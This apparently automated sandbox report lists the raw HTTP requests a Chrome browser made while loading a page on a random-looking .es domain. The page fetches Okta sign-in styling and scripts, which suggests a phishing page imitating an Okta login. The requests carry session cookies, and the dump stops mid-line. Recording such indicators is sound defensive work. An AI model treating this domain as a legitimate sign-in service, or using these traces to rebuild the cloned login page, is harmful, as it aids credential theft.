Source: global traffic	HTTP traffic detected: GET /fent/randexp.js/releases/download/v0.4.3/randexp.min.js HTTP/1.1Host: github.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://nvgy.zonqdkqezktw.es/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/js/sdk/okta-signin-widget/7.18.0/css/okta-sign-in.min.css HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleSec-Fetch-Storage-Access: activeReferer: https://nvgy.zonqdkqezktw.es/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/loginpage/css/loginpage-theme.e0d37a504604ef874bad26435d62011f.css HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleSec-Fetch-Storage-Access: activeReferer: https://nvgy.zonqdkqezktw.es/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /GDSherpa-vf.woff2 HTTP/1.1Host: nvgy.zonqdkqezktw.esConnection: keep-aliveOrigin: https://nvgy.zonqdkqezktw.essec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://nvgy.zonqdkqezktw.es/royrhenxvzfixwzowxlvzgogwieuwutxvkqbbrhrmfxtrzifjhsic415qkjlmkzw90f?WFIJKNWOTPMLPZJAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImNVTG5Tbkp0NWFSQWsvc3VEcTVMbXc9PSIsInZhbHVlIjoiMytVQ0pUckV4dGpqK0h0YTMwQzNDQzF0SjRabnQvOFhSYktQc0FKRFhLbFdtT01sRW4zanNMNUx6a2YxOE1XdDBqV0xvd2VaRElvbUV1aE1nVmg5aFJKTWdteWdtc3NNb2EzK2IwQVczb2x4eXZXbEsvc1FERW5PVEdnZzBieHoiLCJtYWMiOiIxMTE3Mzc5YjhmMGVhNjZkMDVkMzdjMjMwMWY0MDU2MDA2NDQ4ODhhNDg1ZmYzZGRhMDliNzBiMWVmMWNhZmYxIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Imc0VW4zLy9pa0QrSHNzQUVEWlJvaHc9PSIsInZhbHVlIjoiQmRlZUdxbUFWbUhkeEY2U3YvVDdVZkV0ZERMMCtHR3d2QnVOdEVPNTdZekZIRlY3b08wU0xsZFFodVlVdFZoTFozZWM0clFJK0dqK2pUMEV3QmJqcktFNGwvdlhKeEd0aG5IbGgzUnZWN2hjNlhQM0tKTkYvekExV2llVllobGwiLCJtYWMiOiI1MmU4MzI4YmNjZTY5ODY3YTY2N2E1MGFiZjVmOTBlMmZmMThkNmQ5NGNiNDhhZGYxNmY3OWUyMzRhNmI2NTc0IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-vf2.woff2 HTTP/1.1Host: nvgy.zonqdkqezktw.esConnection: keep-aliveOrigin: https://nvgy.zonqdkqezktw.essec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://nvgy.zonqdkqezktw.es/royrhenxvzfixwzowxlvzgogwieuwutxvkqbbrhrmfxtrzifjhsic415qkjlmkzw90f?WFIJKNWOTPMLPZJAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImNVTG5Tbkp0NWFSQWsvc3VEcTVMbXc9PSIsInZhbHVlIjoiMytVQ0pUckV4dGpqK0h0YTMwQzNDQzF0SjRabnQvOFhSYktQc0FKRFhLbFdtT01sRW4zanNMNUx6a2YxOE1XdDBqV0xvd2VaRElvbUV1aE1nVmg5aFJKTWdteWdtc3NNb2EzK2IwQVczb2x4eXZXbEsvc1FERW5PVEdnZzBieHoiLCJtYWMiOiIxMTE3Mzc5YjhmMGVhNjZkMDVkMzdjMjMwMWY0MDU2MDA2NDQ4ODhhNDg1ZmYzZGRhMDliNzBiMWVmMWNhZmYxIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Imc0VW4zLy9pa0QrSHNzQUVEWlJvaHc9PSIsInZhbHVlIjoiQmRlZUdxbUFWbUhkeEY2U3YvVDdVZkV0ZERMMCtHR3d2QnVOdEVPNTdZekZIRlY3b08wU0xsZFFodVlVdFZoTFozZWM0clFJK0dqK2pUMEV3QmJqcktFNGwvdlhKeEd0aG5IbGgzUnZWN2hjNlhQM0tKTkYvekExV2llVllobGwiLCJtYWMiOiI1MmU4MzI4YmNjZTY5ODY3YTY2N2E1MGFiZjVmOTBlMmZmMThkNmQ5NGNiNDhhZGYxNmY3OWUyMzRhNmI2NTc0IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /34PRKAyS0bAW7iTwXghMi85IKNLzXZ67102 HTTP/1.1Host: nvgy.zonqdkqezktw.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://nvgy.zonqdkqezktw.es/royrhenxvzfixwzowxlvzgogwieuwutxvkqbbrhrmfxtrzifjhsic415qkjlmkzw90f?WFIJKNWOTPMLPZJAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImNVTG5Tbkp0NWFSQWsvc3VEcTVMbXc9PSIsInZhbHVlIjoiMytVQ0pUckV4dGpqK0h0YTMwQzNDQzF0SjRabnQvOFhSYktQc0FKRFhLbFdtT01sRW4zanNMNUx6a2YxOE1XdDBqV0xvd2VaRElvbUV1aE1nVmg5aFJKTWdteWdtc3NNb2EzK2IwQVczb2x4eXZXbEsvc1FERW5PVEdnZzBieHoiLCJtYWMiOiIxMTE3Mzc5YjhmMGVhNjZkMDVkMzdjMjMwMWY0MDU2MDA2NDQ4ODhhNDg1ZmYzZGRhMDliNzBiMWVmMWNhZmYxIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Imc0VW4zLy9pa0QrSHNzQUVEWlJvaHc9PSIsInZhbHVlIjoiQmRlZUdxbUFWbUhkeEY2U3YvVDdVZkV0ZERMMCtHR3d2QnVOdEVPNTdZekZIRlY3b08wU0xsZFFodVlVdFZoTFozZWM0clFJK0dqK2pUMEV3QmJqcktFNGwvdlhKeEd0aG5IbGgzUnZWN2hjNlhQM0tKTkYvekExV2llVllobGwiLCJtYWMiOiI1MmU4MzI4YmNjZTY5ODY3YTY2N2E1MGFiZjVmOTBlMmZmMThkNmQ5NGNiNDhhZGYxNmY3OWUyMzRhNmI2NTc0IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /wxFhtRtVhC7KMNNheLOCQWTqrKKKlUh9cVWK5ArQ12127 HTTP/1.1Host: nvgy.zonqdkqezktw.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://nvgy.zonqdkqezktw.es/royrhenxvzfixwzowxlvzgogwieuwutxvkqbbrhrmfxtrzifjhsic415qkjlmkzw90f?WFIJKNWOTPMLPZJAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImNVTG5Tbkp0NWFSQWsvc3VEcTVMbXc9PSIsInZhbHVlIjoiMytVQ0pUckV4dGpqK0h0YTMwQzNDQzF0SjRabnQvOFhSYktQc0FKRFhLbFdtT01sRW4zanNMNUx6a2YxOE1XdDBqV0xvd2VaRElvbUV1aE1nVmg5aFJKTWdteWdtc3NNb2EzK2IwQVczb2x4eXZXbEsvc1FERW5PVEdnZzBieHoiLCJtYWMiOiIxMTE3Mzc5YjhmMGVhNjZkMDVkMzdjMjMwMWY0MDU2MDA2NDQ4ODhhNDg1ZmYzZGRhMDliNzBiMWVmMWNhZmYxIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Imc0VW4zLy9pa0QrSHNzQUVEWlJvaHc9PSIsInZhbHVlIjoiQmRlZUdxbUFWbUhkeEY2U3YvVDdVZkV0ZERMMCtHR3d2QnVOdEVPNTdZekZIRlY3b08wU0xsZFFodVlVdFZoTFozZWM0clFJK0dqK2pUMEV3QmJqcktFNGwvdlhKeEd0aG5IbGgzUnZWN2hjNlhQM0tKTkYvekExV2llVllobGwiLCJtYWMiOiI1MmU4MzI4YmNjZTY5ODY3YTY2N2E1MGFiZjVmOTBlMmZmMThkNmQ5NGNiNDhhZGYxNmY3OWUyMzRhNmI2NTc0IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /qrulsYFeJ7GfWwNXjnfefYVl4Kus0dgNtWkBuL45140 HTTP/1.1Host: nvgy.zonqdkqezktw.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://nvgy.zonqdkqezktw.es/royrhenxvzfixwzowxlvzgogwieuwutxvkqbbrhrmfxtrzifjhsic415qkjlmkzw90f?WFIJKNWOTPMLPZJAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImNVTG5Tbkp0NWFSQWsvc3VEcTVMbXc9PSIsInZhbHVlIjoiMytVQ0pUckV4dGpqK0h0YTMwQzNDQzF0SjRabnQvOFhSYktQc0FKRFhLbFdtT01sRW4zanNMNUx6a2YxOE1XdDBqV0xvd2VaRElvbUV1aE1nVmg5aFJKTWdteWdtc3NNb2EzK2IwQVczb2x4eXZXbEsvc1FERW5PVEdnZzBieHoiLCJtYWMiOiIxMTE3Mzc5YjhmMGVhNjZkMDVkMzdjMjMwMWY0MDU2MDA2NDQ4ODhhNDg1ZmYzZGRhMDliNzBiMWVmMWNhZmYxIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Imc0VW4zLy9pa0QrSHNzQUVEWlJvaHc9PSIsInZhbHVlIjoiQmRlZUdxbUFWbUhkeEY2U3YvVDdVZkV0ZERMMCtHR3d2QnVOdEVPNTdZekZIRlY3b08wU0xsZFFodVlVdFZoTFozZWM0clFJK0dqK2pUMEV3QmJqcktFNGwvdlhKeEd0aG5IbGgzUnZWN2hjNlhQM0tKTkYvekExV2llVllobGwiLCJtYWMiOiI1MmU4MzI4YmNjZTY5ODY3YTY2N2E1MGFiZjVmOTBlMmZmMThkNmQ5NGNiNDhhZGYxNmY3OWUyMzRhNmI2NTc0IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /github-production-release-asset-2e65be/2925284/11f3acf8-4ccb-11e6-8ce4-c179c0a212de?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20250326%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20250326T211015Z&X-Amz-Expires=300&X-Amz-Signature=05eecb58d495b2c19124cfc263b0f1a2c5727bb82f4538a7892732d7a2299cc0&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3Drandexp.min.js&response-content-type=application%2Foctet-stream HTTP/1.1Host: objects.githubusercontent.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://nvgy.zonqdkqezktw.es/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /klovVTyjYIAuDO3HIX5WdEPBuGT4m6DLSD8PJEUXpmrs6jGsg5GNhijAZAjLD83UW1c2mGceDvjoshs2xvbS4i9Uij324 HTTP/1.1Host: nvgy.zonqdkqezktw.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://nvgy.zonqdkqezktw.es/royrhenxvzfixwzowxlvzgogwieuwutxvkqbbrhrmfxtrzifjhsic415qkjlmkzw90f?WFIJKNWOTPMLPZJAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImNVTG5Tbkp0NWFSQWsvc3VEcTVMbXc9PSIsInZhbHVlIjoiMytVQ0pUckV4dGpqK0h0YTMwQzNDQzF0SjRabnQvOFhSYktQc0FKRFhLbFdtT01sRW4zanNMNUx6a2YxOE1XdDBqV0xvd2VaRElvbUV1aE1nVmg5aFJKTWdteWdtc3NNb2EzK2IwQVczb2x4eXZXbEsvc1FERW5PVEdnZzBieHoiLCJtYWMiOiIxMTE3Mzc5YjhmMGVhNjZkMDVkMzdjMjMwMWY0MDU2MDA2NDQ4ODhhNDg1ZmYzZGRhMDliNzBiMWVmMWNhZmYxIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Imc0VW4zLy9pa0QrSHNzQUVEWlJvaHc9PSIsInZhbHVlIjoiQmRlZUdxbUFWbUhkeEY2U3YvVDdVZkV0ZERMMCtHR3d2QnVOdEVPNTdZekZIRlY3b08wU0xsZFFodVlVdFZoTFozZWM0clFJK0dqK2pUMEV3QmJqcktFNGwvdlhKeEd0aG5IbGgzUnZWN2hjNlhQM0tKTkYvekExV2llVllobGwiLCJtYWMiOiI1MmU4MzI4YmNjZTY5ODY3YTY2N2E1MGFiZjVmOTBlMmZmMThkNmQ5NGNiNDhhZGYxNmY3OWUyMzRhNmI2NTc0IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /pqt96TcweYdqnhd0986jX7LXc1HTZ5PIiDfttsiNVCJVe1GjO9sUFkkwx3CloONWr9omO4xu8xXySeD7obeU2oc4DOnpN7rI1BQoscop344 HTTP/1.1Host: nvgy.zonqdkqezktw.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://nvgy.zonqdkqezktw.es/royrhenxvzfixwzowxlvzgogwieuwutxvkqbbrhrmfxtrzifjhsic415qkjlmkzw90f?WFIJKNWOTPMLPZJAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImNVTG5Tbkp0NWFSQWsvc3VEcTVMbXc9PSIsInZhbHVlIjoiMytVQ0pUckV4dGpqK0h0YTMwQzNDQzF0SjRabnQvOFhSYktQc0FKRFhLbFdtT01sRW4zanNMNUx6a2YxOE1XdDBqV0xvd2VaRElvbUV1aE1nVmg5aFJKTWdteWdtc3NNb2EzK2IwQVczb2x4eXZXbEsvc1FERW5PVEdnZzBieHoiLCJtYWMiOiIxMTE3Mzc5YjhmMGVhNjZkMDVkMzdjMjMwMWY0MDU2MDA2NDQ4ODhhNDg1ZmYzZGRhMDliNzBiMWVmMWNhZmYxIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Imc0VW4zLy9pa0QrSHNzQUVEWlJvaHc9PSIsInZhbHVlIjoiQmRlZUdxbUFWbUhkeEY2U3YvVDdVZkV0ZERMMCtHR3d2QnVOdEVPNTdZekZIRlY3b08wU0xsZFFodVlVdFZoTFozZWM0clFJK0dqK2pUMEV3QmJqcktFNGwvdlhKeEd0aG5IbGgzUnZWN2hjNlhQM0tKTkYvekExV2llVllobGwiLCJtYWMiOiI1MmU4MzI4YmNjZTY5ODY3YTY2N2E1MGFiZjVmOTBlMmZmMThkNmQ5NGNiNDhhZGYxNmY3OWUyMzRhNmI2NTc0IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /efi3rk8wIUc9YMdOIaEU8OcmpCn4uvF0kxfeYCgUC9k78143 HTTP/1.1Host: nvgy.zonqdkqezktw.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://nvgy.zonqdkqezktw.es/royrhenxvzfixwzowxlvzgogwieuwutxvkqbbrhrmfxtrzifjhsic415qkjlmkzw90f?WFIJKNWOTPMLPZJAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImNVTG5Tbkp0NWFSQWsvc3VEcTVMbXc9PSIsInZhbHVlIjoiMytVQ0pUckV4dGpqK0h0YTMwQzNDQzF0SjRabnQvOFhSYktQc0FKRFhLbFdtT01sRW4zanNMNUx6a2YxOE1XdDBqV0xvd2VaRElvbUV1aE1nVmg5aFJKTWdteWdtc3NNb2EzK2IwQVczb2x4eXZXbEsvc1FERW5PVEdnZzBieHoiLCJtYWMiOiIxMTE3Mzc5YjhmMGVhNjZkMDVkMzdjMjMwMWY0MDU2MDA2NDQ4ODhhNDg1ZmYzZGRhMDliNzBiMWVmMWNhZmYxIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Imc0VW4zLy9pa0QrSHNzQUVEWlJvaHc9PSIsInZhbHVlIjoiQmRlZUdxbUFWbUhkeEY2U3YvVDdVZkV0ZERMMCtHR3d2QnVOdEVPNTdZekZIRlY3b08wU0xsZFFodVlVdFZoTFozZWM0clFJK0dqK2pUMEV3QmJqcktFNGwvdlhKeEd0aG5IbGgzUnZWN2hjNlhQM0tKTkYvekExV2llVllobGwiLCJtYWMiOiI1MmU4MzI4YmNjZTY5ODY3YTY2N2E1MGFiZjVmOTBlMmZmMThkNmQ5NGNiNDhhZGYxNmY3OWUyMzRhNmI2NTc0IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /klbBQk5yHo1GShhrCaUyu3MnfEcdjJd2M8FvkZbk73cpOIuTJ56170 HTTP/1.1Host: nvgy.zonqdkqezktw.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://nvgy.zonqdkqezktw.es/royrhenxvzfixwzowxlvzgogwieuwutxvkqbbrhrmfxtrzifjhsic415qkjlmkzw90f?WFIJKNWOTPMLPZJAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImNVTG5Tbkp0NWFSQWsvc3VEcTVMbXc9PSIsInZhbHVlIjoiMytVQ0pUckV4dGpqK0h0YTMwQzNDQzF0SjRabnQvOFhSYktQc0FKRFhLbFdtT01sRW4zanNMNUx6a2YxOE1XdDBqV0xvd2VaRElvbUV1aE1nVmg5aFJKTWdteWdtc3NNb2EzK2IwQVczb2x4eXZXbEsvc1FERW5PVEdnZzBieHoiLCJtYWMiOiIxMTE3Mzc5YjhmMGVhNjZkMDVkMzdjMjMwMWY0MDU2MDA2NDQ4ODhhNDg1ZmYzZGRhMDliNzBiMWVmMWNhZmYxIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Imc0VW4zLy9pa0QrSHNzQUVEWlJvaHc9PSIsInZhbHVlIjoiQmRlZUdxbUFWbUhkeEY2U3YvVDdVZkV0ZERMMCtHR3d2QnVOdEVPNTdZekZIRlY3b08wU0xsZFFodVlVdFZoTFozZWM0clFJK0dqK2pUMEV3QmJqcktFNGwvdlhKeEd0aG5IbGgzUnZWN2hjNlhQM0tKTkYvekExV2llVllobGwiLCJtYWMiOiI1MmU4MzI4YmNjZTY5ODY3YTY2N2E1MGFiZjVmOTBlMmZmMThkNmQ5NGNiNDhhZGYxNmY3OWUyMzRhNmI2NTc0IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /qrulsYFeJ7GfWwNXjnfefYVl4Kus0dgNtWkBuL45140 HTTP/1.1Host: nvgy.zonqdkqezktw.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImNVTG5Tbkp0NWFSQWsvc3VEcTVMbXc9PSIsInZhbHVlIjoiMytVQ0pUckV4dGpqK0h0YTMwQzNDQzF0SjRabnQvOFhSYktQc0FKRFhLbFdtT01sRW4zanNMNUx6a2YxOE1XdDBqV0xvd2VaRElvbUV1aE1nVmg5aFJKTWdteWdtc3NNb2EzK2IwQVczb2x4eXZXbEsvc1FERW5PVEdnZzBieHoiLCJtYWMiOiIxMTE3Mzc5YjhmMGVhNjZkMDVkMzdjMjMwMWY0MDU2MDA2NDQ4ODhhNDg1ZmYzZGRhMDliNzBiMWVmMWNhZmYxIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Imc0VW4zLy9pa0QrSHNzQUVEWlJvaHc9PSIsInZhbHVlIjoiQmRlZUdxbUFWbUhkeEY2U3YvVDdVZkV0ZERMMCtHR3d2QnVOdEVPNTdZekZIRlY3b08wU0xsZFFodVlVdFZoTFozZWM0clFJK0dqK2pUMEV3QmJqcktFNGwvdlhKeEd0aG5IbGgzUnZWN2hjNlhQM0tKTkYvekExV2llVllobGwiLCJtYWMiOiI1MmU4MzI4YmNjZTY5ODY3YTY2N2E1MGFiZjVmOTBlMmZmMThkNmQ5NGNiNDhhZGYxNmY3OWUyMzRhNmI2NTc0IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /wxFhtRtVhC7KMNNheLOCQWTqrKKKlUh9cVWK5ArQ12127 HTTP/1.1Host: nvgy.zonqdkqezktw.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImNVTG5Tbkp0NWFSQWsvc3VEcTVMbXc9PSIsInZhbHVlIjoiMytVQ0pUckV4dGpqK0h0YTMwQzNDQzF0SjRabnQvOFhSYktQc0FKRFhLbFdtT01sRW4zanNMNUx6a2YxOE1XdDBqV0xvd2VaRElvbUV1aE1nVmg5aFJKTWdteWdtc3NNb2EzK2IwQVczb2x4eXZXbEsvc1FERW5PVEdnZzBieHoiLCJtYWMiOiIxMTE3Mzc5YjhmMGVhNjZkMDVkMzdjMjMwMWY0MDU2MDA2NDQ4ODhhNDg1ZmYzZGRhMDliNzBiMWVmMWNhZmYxIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Imc0VW4zLy9pa0QrSHNzQUVEWlJvaHc9PSIsInZhbHVlIjoiQmRlZUdxbUFWbUhkeEY2U3YvVDdVZkV0ZERMMCtHR3d2QnVOdEVPNTdZekZIRlY3b08wU0xsZFFodVlVdFZoTFozZWM0clFJK0dqK2pUMEV3QmJqcktFNGwvdlhKeEd0aG5IbGgzUnZWN2hjNlhQM0tKTkYvekExV2llVllobGwiLCJtYWMiOiI1MmU4MzI4YmNjZTY5ODY3YTY2N2E1MGFiZjVmOTBlMmZmMThkNmQ5NGNiNDhhZGYxNmY3OWUyMzRhNmI2NTc0IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /wxKnBd2Doxv9Z6xVjtUMsnFvUoGusamnwLkP04EiJZf9RJIab175 HTTP/1.1Host: nvgy.zonqdkqezktw.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://nvgy.zonqdkqezktw.es/royrhenxvzfixwzowxlvzgogwieuwutxvkqbbrhrmfxtrzifjhsic415qkjlmkzw90f?WFIJKNWOTPMLPZJAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImNVTG5Tbkp0NWFSQWsvc3VEcTVMbXc9PSIsInZhbHVlIjoiMytVQ0pUckV4dGpqK0h0YTMwQzNDQzF0SjRabnQvOFhSYktQc0FKRFhLbFdtT01sRW4zanNMNUx6a2YxOE1XdDBqV0xvd2VaRElvbUV1aE1nVmg5aFJKTWdteWdtc3NNb2EzK2IwQVczb2x4eXZXbEsvc1FERW5PVEdnZzBieHoiLCJtYWMiOiIxMTE3Mzc5YjhmMGVhNjZkMDVkMzdjMjMwMWY0MDU2MDA2NDQ4ODhhNDg1ZmYzZGRhMDliNzBiMWVmMWNhZmYxIiwidGFnIjoiIn0%3D; 